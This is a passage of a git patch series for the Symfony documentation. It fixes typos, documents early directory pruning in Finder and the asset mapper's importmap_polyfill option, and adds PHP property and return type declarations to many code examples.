index 4f62e24e10f..72bb7851965 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -653,7 +653,7 @@ to inject the ``logger`` service, and decide to use setter-injection:
 
         class Rot13Transformer
         {
-            private $logger;
+            private LoggerInterface $logger;
 
             #[Required]
             public function setLogger(LoggerInterface $logger): void
diff --git a/service_container/calls.rst b/service_container/calls.rst
index 9f4e3699b18..cb364b59489 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -17,7 +17,7 @@ example::
 
     class MessageGenerator
     {
-        private $logger;
+        private LoggerInterface $logger;
 
         public function setLogger(LoggerInterface $logger): void
         {
@@ -84,7 +84,7 @@ instead of mutating the object they were called on::
 
     class MessageGenerator
     {
-        private $logger;
+        private LoggerInterface $logger;
 
         public function withLogger(LoggerInterface $logger): self
         {
diff --git a/service_container/configurators.rst b/service_container/configurators.rst
index 2cf9cdb471f..7817a383761 100644
--- a/service_container/configurators.rst
+++ b/service_container/configurators.rst
@@ -23,7 +23,7 @@ You start defining a ``NewsletterManager`` class like this::
 
     class NewsletterManager implements EmailFormatterAwareInterface
     {
-        private $enabledFormatters;
+        private array $enabledFormatters;
 
         public function setEnabledFormatters(array $enabledFormatters): void
         {
@@ -40,7 +40,7 @@ and also a ``GreetingCardManager`` class::
 
     class GreetingCardManager implements EmailFormatterAwareInterface
     {
-        private $enabledFormatters;
+        private array $enabledFormatters;
 
         public function setEnabledFormatters(array $enabledFormatters): void
         {
diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index f1a6c80397b..5fb3d09a9c5 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -115,7 +115,7 @@ by cloning the original service, this approach allows you to make a service immu
 
     class NewsletterManager
     {
-        private $mailer;
+        private MailerInterface $mailer;
 
         /**
          * @return static
@@ -222,7 +222,7 @@ that accepts the dependency::
     // ...
     class NewsletterManager
     {
-        private $mailer;
+        private MailerInterface $mailer;
 
         #[Required]
         public function setMailer(MailerInterface $mailer): void
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index b772fbd2ad3..73b83271025 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -154,7 +154,7 @@ automatically changed to ``'.inner'``):
         {
             public function __construct(
                 #[MapDecorated]
-                private $inner,
+                private object $inner,
             ) {
             }
 
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 54c5c3cb461..31fe56cacc6 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -229,12 +229,7 @@ To begin with, define the ``TransportChain`` class::
 
     class TransportChain
     {
-        private $transports;
-
-        public function __construct()
-        {
-            $this->transports = [];
-        }
+        private array $transports = [];
 
         public function addTransport(\MailerTransport $transport): void
         {
@@ -423,12 +418,7 @@ To begin with, change the ``TransportChain`` class::
 
     class TransportChain
     {
-        private $transports;
-
-        public function __construct()
-        {
-            $this->transports = [];
-        }
+        private array $transports = [];
 
         public function addTransport(\MailerTransport $transport, $alias): void
         {
diff --git a/testing/database.rst b/testing/database.rst
index fb78d33a3a7..bce96353da8 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -98,10 +98,7 @@ so, get the entity manager via the service container as follows::
 
     class ProductRepositoryTest extends KernelTestCase
     {
-        /**
-         * @var \Doctrine\ORM\EntityManager
-         */
-        private $entityManager;
+        private \Doctrine\ORM\EntityManager $entityManager;
 
         protected function setUp(): void
         {
diff --git a/validation/groups.rst b/validation/groups.rst
index 51981375e0e..22af24473be 100644
--- a/validation/groups.rst
+++ b/validation/groups.rst
@@ -23,14 +23,14 @@ user registers and when a user updates their contact information later:
         class User implements UserInterface
         {
             #[Assert\Email(groups: ['registration'])]
-            private $email;
+            private string $email;
 
             #[Assert\NotBlank(groups: ['registration'])]
             #[Assert\Length(min: 7, groups: ['registration'])]
-            private $password;
+            private string $password;
 
             #[Assert\Length(min: 2)]
-            private $city;
+            private string $city;
         }
 
     .. code-block:: yaml
diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index 4ceb289a615..d409b1a203a 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -23,10 +23,10 @@ username and the password are different only if all other validation passes
         class User implements UserInterface
         {
             #[Assert\NotBlank]
-            private $username;
+            private string $username;
 
             #[Assert\NotBlank]
-            private $password;
+            private string $password;
 
             #[Assert\IsTrue(
                 message: 'The password cannot match your username',
@@ -180,13 +180,13 @@ entity and a new constraint group called ``Premium``:
         class User
         {
             #[Assert\NotBlank]
-            private $name;
+            private string $name;
 
             #[Assert\CardScheme(
                 schemes: [Assert\CardScheme::VISA],
                 groups: ['Premium'],
             )]
-            private $creditCard;
+            private string $creditCard;
 
             // ...
         }
@@ -241,8 +241,8 @@ entity and a new constraint group called ``Premium``:
 
         class User
         {
-            private $name;
-            private $creditCard;
+            private string $name;
+            private string $creditCard;
 
             // ...
 

From fa32287e6d6ddc7e61e2ee68b17cedcd63dc2402 Mon Sep 17 00:00:00 2001
From: Fanny Gautier <fannygautier92@gmail.com>
Date: Wed, 12 Jul 2023 09:51:22 +0000
Subject: [PATCH 4860/7107] docs: fix typo

---
 components/uid.rst                    | 2 +-
 reference/configuration/framework.rst | 2 +-
 routing.rst                           | 2 +-
 setup/symfony_server.rst              | 2 +-
 4 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 0b1f6f1c030..52403513995 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -572,7 +572,7 @@ commands to learn about all their options):
     # generate 1 ULID with a specific timestamp
     $ php bin/console ulid:generate --time="2021-02-02 14:00:00"
 
-    # generate 2 ULIDs and ouput them in RFC4122 format
+    # generate 2 ULIDs and output them in RFC4122 format
     $ php bin/console ulid:generate --count=2 --format=rfc4122
 
 In addition to generating new UIDs, you can also inspect them with the following
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 1be9be371df..7b1122551b0 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -58,7 +58,7 @@ handle_all_throwables
 **type**: ``boolean`` **default**: ``false``
 
 If set to ``true``, the Symfony kernel will catch all ``\Throwable`` exceptions
-thrown by the application and will turn them into HTTP reponses.
+thrown by the application and will turn them into HTTP responses.
 
 Starting from Symfony 7.0, the default value of this option will be ``true``.
 
diff --git a/routing.rst b/routing.rst
index 79ccf79bb38..b6e2195d601 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2672,7 +2672,7 @@ service, which you can inject in your services or controllers::
         {
             // ...
 
-            // generate a URL youself or get it somehow...
+            // generate a URL yourself or get it somehow...
             $url = 'https://example.com/foo/bar?sort=desc';
 
             // sign the URL (it adds a query parameter called '_hash')
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index c89a3e23f2a..a12feb7a5c4 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -60,7 +60,7 @@ run the Symfony server in the background:
 
     On macOS, when starting the Symfony server you might see a warning dialog asking
     *"Do you want the application to accept incoming network connections?"*.
-    This happens when running unsigned appplications that are not listed in the
+    This happens when running unsigned applications that are not listed in the
     firewall list. The solution is to run this command that signs the Symfony binary:
 
     .. code-block:: terminal

From 4b08ee6704cb3054386f337abbeff1bbd588ae1c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Michael=20Vo=C5=99=C3=AD=C5=A1ek?= <mvorisek@mvorisek.cz>
Date: Wed, 12 Jul 2023 21:41:54 +0200
Subject: [PATCH 4861/7107] [Finder docs] Add early directory prunning filter
 support

Co-authored-by: Alexis Lefebvre <alexislefebvre@gmail.com>
---
 components/finder.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/components/finder.rst b/components/finder.rst
index 27dd6709b6d..9f8d5860f9c 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -329,6 +329,12 @@ it is called with the file as a :class:`Symfony\\Component\\Finder\\SplFileInfo`
 instance. The file is excluded from the result set if the Closure returns
 ``false``.
 
+.. versionadded:: 6.4
+
+Since Symfony 6.4, a filter can prune directories early, pass ``true`` as the second
+parameter for the ``filter()`` method and when the Closure returns ``false`` the deeper
+levels will not be traversed.
+
 Sorting Results
 ---------------
 

From f95a5078ddc95e4cbd4cb2b0b806f4138f115be1 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 12 Jul 2023 22:32:22 +0200
Subject: [PATCH 4862/7107] Adding `importmap_polyfill` (second attempt)

As requested at https://github.com/symfony/symfony-docs/pull/18537#discussion_r1259857287
---
 frontend/asset_mapper.rst | 18 +++++++++++++++++-
 1 file changed, 17 insertions(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index b7ca7a8a1c9..ac79b029c92 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -289,7 +289,8 @@ Preloading and Initializing "app.js"
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 In addition to the importmap, the ``{{ importmap() }}`` Twig function also renders
-an `ES module shim`_ and a few other things, like a set of "preloads":
+an `ES module shim`_ (see the :ref:`config-importmap-polyfill <polyfill config>` and
+a few other things, like a set of "preloads":
 
 .. code-block:: html
 
@@ -1027,6 +1028,21 @@ This is a list of glob patterns that will be excluded from the asset map:
 You can use the ``debug:asset-map`` command to double-check that the files
 you expect are being included in the asset map.
 
+.. _config-importmap-polyfill:
+
+``framework.asset_mapper.importmap_polyfill``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Configure the polyfill for older browsers. Default is `ES module shim`_. You can pass
+any URL to be included, or `false` to disable the polyfill.
+
+.. code-block:: yaml
+
+    framework:
+        asset_mapper:
+            importmap_polyfill: false # disable the shim ...
+            # importmap_polyfill: 'https://...' # ... or pass some custom URL
+
 ``framework.asset_mapper.importmap_script_attributes``
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 0a00d17c6c879bbdf385ae4b0a5a383bb1f2e050 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 13 Jul 2023 11:34:31 +0200
Subject: [PATCH 4863/7107] Add return types and parameter types

---
 best_practices.rst                            |  4 +-
 bundles/configuration.rst                     | 14 ++---
 bundles/extension.rst                         |  6 +--
 bundles/prepend_extension.rst                 |  4 +-
 cache.rst                                     |  5 +-
 components/asset.rst                          |  4 +-
 components/browser_kit.rst                    |  2 +-
 components/config/definition.rst              |  8 +--
 components/config/resources.rst               |  4 +-
 .../console/changing_default_command.rst      |  6 ++-
 components/console/console_arguments.rst      |  4 +-
 components/console/helpers/questionhelper.rst |  2 +-
 components/console/logger.rst                 |  6 ++-
 components/dependency_injection.rst           |  2 +-
 .../dependency_injection/compilation.rst      | 24 ++++-----
 components/event_dispatcher.rst               | 14 ++---
 components/event_dispatcher/generic_event.rst |  6 +--
 components/expression_language.rst            |  2 +-
 components/form.rst                           | 15 ++++--
 components/http_foundation.rst                |  2 +-
 components/http_kernel.rst                    |  2 +-
 components/messenger.rst                      |  2 +-
 components/options_resolver.rst               | 52 +++++++++----------
 components/phpunit_bridge.rst                 | 24 ++++-----
 components/property_access.rst                | 12 ++---
 components/serializer.rst                     | 34 ++++++------
 components/string.rst                         |  2 +-
 components/validator/metadata.rst             | 10 ++--
 components/var_dumper.rst                     |  8 +--
 configuration.rst                             |  2 +-
 configuration/env_var_processors.rst          |  4 +-
 configuration/micro_kernel_trait.rst          |  2 +-
 configuration/using_parameters_in_dic.rst     |  4 +-
 console.rst                                   |  2 +-
 console/input.rst                             |  2 +-
 contributing/code/standards.rst               |  2 +-
 contributing/documentation/standards.rst      |  2 +-
 controller/upload_file.rst                    |  5 +-
 create_framework/event_dispatcher.rst         | 14 ++---
 create_framework/http_foundation.rst          |  2 +-
 .../http_kernel_controller_resolver.rst       | 14 ++---
 .../http_kernel_httpkernel_class.rst          |  8 +--
 .../http_kernel_httpkernelinterface.rst       |  2 +-
 create_framework/separation_of_concerns.rst   |  6 +--
 create_framework/templating.rst               |  6 +--
 create_framework/unit_testing.rst             |  8 +--
 event_dispatcher.rst                          |  4 +-
 form/data_mappers.rst                         |  2 +-
 form/embedded.rst                             |  2 +-
 form/unit_testing.rst                         | 10 ++--
 frontend/custom_version_strategy.rst          |  6 +--
 http_cache.rst                                |  3 +-
 http_cache/cache_vary.rst                     |  2 +-
 http_cache/esi.rst                            |  4 +-
 http_cache/expiration.rst                     |  4 +-
 lock.rst                                      |  9 ++--
 logging.rst                                   |  3 +-
 logging/monolog_console.rst                   |  8 ++-
 mailer.rst                                    |  4 +-
 mercure.rst                                   |  2 +-
 messenger.rst                                 | 19 +++----
 messenger/dispatch_after_current_bus.rst      |  4 +-
 messenger/handler_results.rst                 |  2 +-
 migration.rst                                 |  2 +-
 notifier.rst                                  | 13 +++--
 performance.rst                               |  2 +-
 profiler.rst                                  | 13 ++---
 quick_tour/the_architecture.rst               |  2 +-
 rate_limiter.rst                              |  8 +--
 reference/configuration/doctrine.rst          |  2 +-
 reference/constraints/Callback.rst            |  6 +--
 reference/constraints/Choice.rst              |  2 +-
 reference/constraints/Expression.rst          | 10 ++--
 reference/constraints/Json.rst                |  2 +-
 reference/constraints/Traverse.rst            |  2 +-
 reference/constraints/Ulid.rst                |  2 +-
 reference/constraints/When.rst                |  8 +--
 reference/dic_tags.rst                        | 14 ++---
 reference/events.rst                          | 12 ++---
 reference/formats/expression_language.rst     |  2 +-
 reference/forms/types/file.rst                |  2 +-
 routing.rst                                   |  4 +-
 routing/custom_route_loader.rst               | 10 ++--
 security.rst                                  |  2 +-
 security/impersonating_user.rst               |  2 +-
 security/login_link.rst                       | 11 ++--
 security/passwords.rst                        |  5 +-
 serializer/custom_context_builders.rst        |  4 +-
 serializer/custom_encoders.rst                |  8 +--
 serializer/custom_normalizer.rst              |  4 +-
 service_container/autowiring.rst              |  2 +-
 service_container/request.rst                 |  2 +-
 .../service_subscribers_locators.rst          | 12 ++---
 session.rst                                   | 12 ++---
 templates.rst                                 | 16 +++---
 testing.rst                                   | 10 ++--
 testing/database.rst                          |  6 +--
 testing/profiling.rst                         |  2 +-
 translation.rst                               | 11 ++--
 validation/custom_constraint.rst              |  9 ++--
 validation/groups.rst                         |  2 +-
 validation/raw_values.rst                     |  2 +-
 validation/sequence_provider.rst              | 10 ++--
 web_link.rst                                  |  3 +-
 workflow/workflow-and-state-machine.rst       |  2 +-
 105 files changed, 370 insertions(+), 338 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 403c9920018..d500cfc34e0 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -411,7 +411,7 @@ checks that all application URLs load successfully::
         /**
          * @dataProvider urlProvider
          */
-        public function testPageIsSuccessful($url)
+        public function testPageIsSuccessful($url): void
         {
             $client = self::createClient();
             $client->request('GET', $url);
@@ -419,7 +419,7 @@ checks that all application URLs load successfully::
             $this->assertResponseIsSuccessful();
         }
 
-        public function urlProvider()
+        public function urlProvider(): \Generator
         {
             yield ['/'];
             yield ['/posts'];
diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index bc9efc1e0b9..4a2224429ed 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -183,7 +183,7 @@ The ``Configuration`` class to handle the sample configuration looks like::
 
     class Configuration implements ConfigurationInterface
     {
-        public function getConfigTreeBuilder()
+        public function getConfigTreeBuilder(): TreeBuilder
         {
             $treeBuilder = new TreeBuilder('acme_social');
 
@@ -217,7 +217,7 @@ force validation (e.g. if an additional option was passed, an exception will be
 thrown)::
 
     // src/Acme/SocialBundle/DependencyInjection/AcmeSocialExtension.php
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $container): void
     {
         $configuration = new Configuration();
 
@@ -259,7 +259,7 @@ In your extension, you can load this and dynamically set its arguments::
     use Symfony\Component\Config\FileLocator;
     use Symfony\Component\DependencyInjection\Loader\XmlFileLoader;
 
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $container): void
     {
         $loader = new XmlFileLoader($container, new FileLocator(dirname(__DIR__).'/Resources/config'));
         $loader->load('services.xml');
@@ -288,7 +288,7 @@ In your extension, you can load this and dynamically set its arguments::
         class AcmeHelloExtension extends ConfigurableExtension
         {
             // note that this method is called loadInternal and not load
-            protected function loadInternal(array $mergedConfig, ContainerBuilder $container)
+            protected function loadInternal(array $mergedConfig, ContainerBuilder $container): void
             {
                 // ...
             }
@@ -304,7 +304,7 @@ In your extension, you can load this and dynamically set its arguments::
     (e.g. by overriding configurations and using :phpfunction:`isset` to check
     for the existence of a value). Be aware that it'll be very hard to support XML::
 
-        public function load(array $configs, ContainerBuilder $container)
+        public function load(array $configs, ContainerBuilder $container): void
         {
             $config = [];
             // let resources override the previous set value
@@ -458,7 +458,7 @@ the extension. You might want to change this to a more professional URL::
     {
         // ...
 
-        public function getNamespace()
+        public function getNamespace(): string
         {
             return 'http://acme_company.com/schema/dic/hello';
         }
@@ -490,7 +490,7 @@ can place it anywhere you like. You should return this path as the base path::
     {
         // ...
 
-        public function getXsdValidationBasePath()
+        public function getXsdValidationBasePath(): string
         {
             return __DIR__.'/../Resources/config/schema';
         }
diff --git a/bundles/extension.rst b/bundles/extension.rst
index f831efdaf5b..ff873f2ab14 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -34,7 +34,7 @@ This is how the extension of an AcmeHelloBundle should look like::
 
     class AcmeHelloExtension extends Extension
     {
-        public function load(array $configs, ContainerBuilder $container)
+        public function load(array $configs, ContainerBuilder $container): void
         {
             // ... you'll load the files here later
         }
@@ -90,7 +90,7 @@ For instance, assume you have a file called ``services.xml`` in the
     use Symfony\Component\DependencyInjection\Loader\XmlFileLoader;
 
     // ...
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $container): void
     {
         $loader = new XmlFileLoader(
             $container,
@@ -167,7 +167,7 @@ they are compiled when generating the application cache to improve the overall
 performance. Define the list of annotated classes to compile in the
 ``addAnnotatedClassesToCompile()`` method::
 
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $container): void
     {
         // ...
 
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 8d28080470f..fcad249124e 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -31,7 +31,7 @@ To give an Extension the power to do this, it needs to implement
     {
         // ...
 
-        public function prepend(ContainerBuilder $container)
+        public function prepend(ContainerBuilder $container): void
         {
             // ...
         }
@@ -52,7 +52,7 @@ a configuration setting in multiple bundles as well as disable a flag in multipl
 in case a specific other bundle is not registered::
 
     // src/Acme/HelloBundle/DependencyInjection/AcmeHelloExtension.php
-    public function prepend(ContainerBuilder $container)
+    public function prepend(ContainerBuilder $container): void
     {
         // get all bundles
         $bundles = $container->getParameter('kernel.bundles');
diff --git a/cache.rst b/cache.rst
index e739d27f4d4..f0bde04114f 100644
--- a/cache.rst
+++ b/cache.rst
@@ -307,9 +307,10 @@ with either :class:`Symfony\\Contracts\\Cache\\CacheInterface` or
 ``Psr\Cache\CacheItemPoolInterface``::
 
     use Symfony\Contracts\Cache\CacheInterface;
+    // ...
 
     // from a controller method
-    public function listProducts(CacheInterface $customThingCache)
+    public function listProducts(CacheInterface $customThingCache): Response
     {
         // ...
     }
@@ -555,7 +556,7 @@ the same key could be invalidated with one function call::
         ) {
         }
 
-        public function someMethod()
+        public function someMethod(): void
         {
             $value0 = $this->myCachePool->get('item_0', function (ItemInterface $item): string {
                 $item->tag(['foo', 'bar']);
diff --git a/components/asset.rst b/components/asset.rst
index 8ffdbd7e41d..5fa966bb85b 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -210,12 +210,12 @@ every day::
             $this->version = date('Ymd');
         }
 
-        public function getVersion(string $path)
+        public function getVersion(string $path): \DateTimeInterface
         {
             return $this->version;
         }
 
-        public function applyVersion(string $path)
+        public function applyVersion(string $path): string
         {
             return sprintf('%s?v=%s', $path, $this->getVersion($path));
         }
diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index fe90031f31f..85aaf88a520 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -38,7 +38,7 @@ This method accepts a request and should return a response::
 
     class Client extends AbstractBrowser
     {
-        protected function doRequest($request)
+        protected function doRequest($request): Response
         {
             // ... convert request into a response
 
diff --git a/components/config/definition.rst b/components/config/definition.rst
index 8dab6d2163e..f784048f233 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -54,7 +54,7 @@ implements the :class:`Symfony\\Component\\Config\\Definition\\ConfigurationInte
 
     class DatabaseConfiguration implements ConfigurationInterface
     {
-        public function getConfigTreeBuilder()
+        public function getConfigTreeBuilder(): TreeBuilder
         {
             $treeBuilder = new TreeBuilder('database');
 
@@ -540,7 +540,9 @@ be large and you may want to split it up into sections. You can do this
 by making a section a separate node and then appending it into the main
 tree with ``append()``::
 
-    public function getConfigTreeBuilder()
+    use Symfony\Component\Config\Definition\Builder\NodeDefinition;
+
+    public function getConfigTreeBuilder(): TreeBuilder
     {
         $treeBuilder = new TreeBuilder('database');
 
@@ -569,7 +571,7 @@ tree with ``append()``::
         return $treeBuilder;
     }
 
-    public function addParametersNode()
+    public function addParametersNode(): NodeDefinition
     {
         $treeBuilder = new TreeBuilder('parameters');
 
diff --git a/components/config/resources.rst b/components/config/resources.rst
index 22bdd2b34e9..22f66e74332 100644
--- a/components/config/resources.rst
+++ b/components/config/resources.rst
@@ -43,7 +43,7 @@ which allows for recursively importing other resources::
 
     class YamlUserLoader extends FileLoader
     {
-        public function load($resource, $type = null)
+        public function load($resource, $type = null): void
         {
             $configValues = Yaml::parse(file_get_contents($resource));
 
@@ -54,7 +54,7 @@ which allows for recursively importing other resources::
             // $this->import('extra_users.yaml');
         }
 
-        public function supports($resource, $type = null)
+        public function supports($resource, $type = null): bool
         {
             return is_string($resource) && 'yaml' === pathinfo(
                 $resource,
diff --git a/components/console/changing_default_command.rst b/components/console/changing_default_command.rst
index f8b100993a9..b739e3b39ba 100644
--- a/components/console/changing_default_command.rst
+++ b/components/console/changing_default_command.rst
@@ -15,14 +15,16 @@ name to the ``setDefaultCommand()`` method::
     #[AsCommand(name: 'hello:world')]
     class HelloWorldCommand extends Command
     {
-        protected function configure()
+        protected function configure(): void
         {
             $this->setDescription('Outputs "Hello World"');
         }
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $output->writeln('Hello World');
+
+            return Command::SUCCESS;
         }
     }
 
diff --git a/components/console/console_arguments.rst b/components/console/console_arguments.rst
index d7bf141f4ce..da538ac78f1 100644
--- a/components/console/console_arguments.rst
+++ b/components/console/console_arguments.rst
@@ -22,7 +22,7 @@ Have a look at the following command that has three options::
     #[AsCommand(name: 'demo:args', description: 'Describe args behaviors')]
     class DemoArgsCommand extends Command
     {
-        protected function configure()
+        protected function configure(): void
         {
             $this
                 ->setDefinition(
@@ -34,7 +34,7 @@ Have a look at the following command that has three options::
                 );
         }
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             // ...
         }
diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 5729c112af1..0f8aa5f08c3 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -488,7 +488,7 @@ from the command line, you need to set the inputs that the command expects::
     use Symfony\Component\Console\Tester\CommandTester;
 
     // ...
-    public function testExecute()
+    public function testExecute(): void
     {
         // ...
         $commandTester = new CommandTester($command);
diff --git a/components/console/logger.rst b/components/console/logger.rst
index afeab7dd0cb..4af0b9a3f2f 100644
--- a/components/console/logger.rst
+++ b/components/console/logger.rst
@@ -21,7 +21,7 @@ PSR-3 compliant logger::
         ) {
         }
 
-        public function doStuff()
+        public function doStuff(): void
         {
             $this->logger->info('I love Tony Vairelles\' hairdresser.');
         }
@@ -44,12 +44,14 @@ You can rely on the logger to use this dependency inside a command::
     )]
     class MyCommand extends Command
     {
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $logger = new ConsoleLogger($output);
 
             $myDependency = new MyDependency($logger);
             $myDependency->doStuff();
+
+            // ...
         }
     }
 
diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index 45ecc6dc194..79b35bf312e 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -126,7 +126,7 @@ it was only optional then you could use setter injection instead::
     {
         private \Mailer $mailer;
 
-        public function setMailer(\Mailer $mailer)
+        public function setMailer(\Mailer $mailer): void
         {
             $this->mailer = $mailer;
         }
diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index edaa8be8f47..a085f76b5e5 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -61,7 +61,7 @@ A very simple extension may just load configuration files into the container::
 
     class AcmeDemoExtension implements ExtensionInterface
     {
-        public function load(array $configs, ContainerBuilder $container)
+        public function load(array $configs, ContainerBuilder $container): void
         {
             $loader = new XmlFileLoader(
                 $container,
@@ -90,7 +90,7 @@ The Extension must specify a ``getAlias()`` method to implement the interface::
     {
         // ...
 
-        public function getAlias()
+        public function getAlias(): string
         {
             return 'acme_demo';
         }
@@ -132,7 +132,7 @@ are loaded::
 The values from those sections of the config files are passed into the first
 argument of the ``load()`` method of the extension::
 
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $container): void
     {
         $foo = $configs[0]['foo']; //fooValue
         $bar = $configs[0]['bar']; //barValue
@@ -158,7 +158,7 @@ you could access the config value this way::
     use Symfony\Component\Config\Definition\Processor;
     // ...
 
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $container): void
     {
         $configuration = new Configuration();
         $processor = new Processor();
@@ -175,12 +175,12 @@ namespace so that the relevant parts of an XML config file are passed to
 the extension. The other to specify the base path to XSD files to validate
 the XML configuration::
 
-    public function getXsdValidationBasePath()
+    public function getXsdValidationBasePath(): string
     {
         return __DIR__.'/../Resources/config/';
     }
 
-    public function getNamespace()
+    public function getNamespace(): string
     {
         return 'http://www.example.com/symfony/schema/';
     }
@@ -219,7 +219,7 @@ The processed config value can now be added as container parameters as if
 it were listed in a ``parameters`` section of the config file but with the
 additional benefit of merging multiple files and validation of the configuration::
 
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $container): void
     {
         $configuration = new Configuration();
         $processor = new Processor();
@@ -234,7 +234,7 @@ More complex configuration requirements can be catered for in the Extension
 classes. For example, you may choose to load a main service configuration
 file but also load a secondary one only if a certain parameter is set::
 
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $container): void
     {
         $configuration = new Configuration();
         $processor = new Processor();
@@ -292,7 +292,7 @@ method is called by implementing
     {
         // ...
 
-        public function prepend(ContainerBuilder $container)
+        public function prepend(ContainerBuilder $container): void
         {
             // ...
 
@@ -323,7 +323,7 @@ compilation::
 
     class AcmeDemoExtension implements ExtensionInterface, CompilerPassInterface
     {
-        public function process(ContainerBuilder $container)
+        public function process(ContainerBuilder $container): void
         {
             // ... do something during the compilation
         }
@@ -377,7 +377,7 @@ class implementing the ``CompilerPassInterface``::
 
     class CustomPass implements CompilerPassInterface
     {
-        public function process(ContainerBuilder $container)
+        public function process(ContainerBuilder $container): void
         {
             // ... do something during the compilation
         }
@@ -475,7 +475,7 @@ serves at dumping the compiled container::
     the :ref:`dumpFile() method <filesystem-dumpfile>` from Symfony Filesystem
     component or other methods provided by Symfony (e.g. ``$containerConfigCache->write()``)
     which are atomic.
-    
+
 ``ProjectServiceContainer`` is the default name given to the dumped container
 class. However, you can change this with the ``class`` option when you
 dump it::
diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 68d7a5f39e6..9ecce61a4f1 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -162,7 +162,7 @@ the ``Event`` object as the single argument::
     {
         // ...
 
-        public function onFooAction(Event $event)
+        public function onFooAction(Event $event): void
         {
             // ... do something
         }
@@ -349,7 +349,7 @@ Take the following example of a subscriber that subscribes to the
 
     class StoreSubscriber implements EventSubscriberInterface
     {
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return [
                 KernelEvents::RESPONSE => [
@@ -360,17 +360,17 @@ Take the following example of a subscriber that subscribes to the
             ];
         }
 
-        public function onKernelResponsePre(ResponseEvent $event)
+        public function onKernelResponsePre(ResponseEvent $event): void
         {
             // ...
         }
 
-        public function onKernelResponsePost(ResponseEvent $event)
+        public function onKernelResponsePost(ResponseEvent $event): void
         {
             // ...
         }
 
-        public function onStoreOrder(OrderPlacedEvent $event)
+        public function onStoreOrder(OrderPlacedEvent $event): void
         {
             // ...
         }
@@ -415,7 +415,7 @@ inside a listener via the
 
     use Acme\Store\Event\OrderPlacedEvent;
 
-    public function onStoreOrder(OrderPlacedEvent $event)
+    public function onStoreOrder(OrderPlacedEvent $event): void
     {
         // ...
 
@@ -458,7 +458,7 @@ is dispatched, are passed as arguments to the listener::
 
     class MyListener
     {
-        public function myEventListener(Event $event, string $eventName, EventDispatcherInterface $dispatcher)
+        public function myEventListener(Event $event, string $eventName, EventDispatcherInterface $dispatcher): void
         {
             // ... do something with the event name
         }
diff --git a/components/event_dispatcher/generic_event.rst b/components/event_dispatcher/generic_event.rst
index dbc37cbe752..d0d2673db09 100644
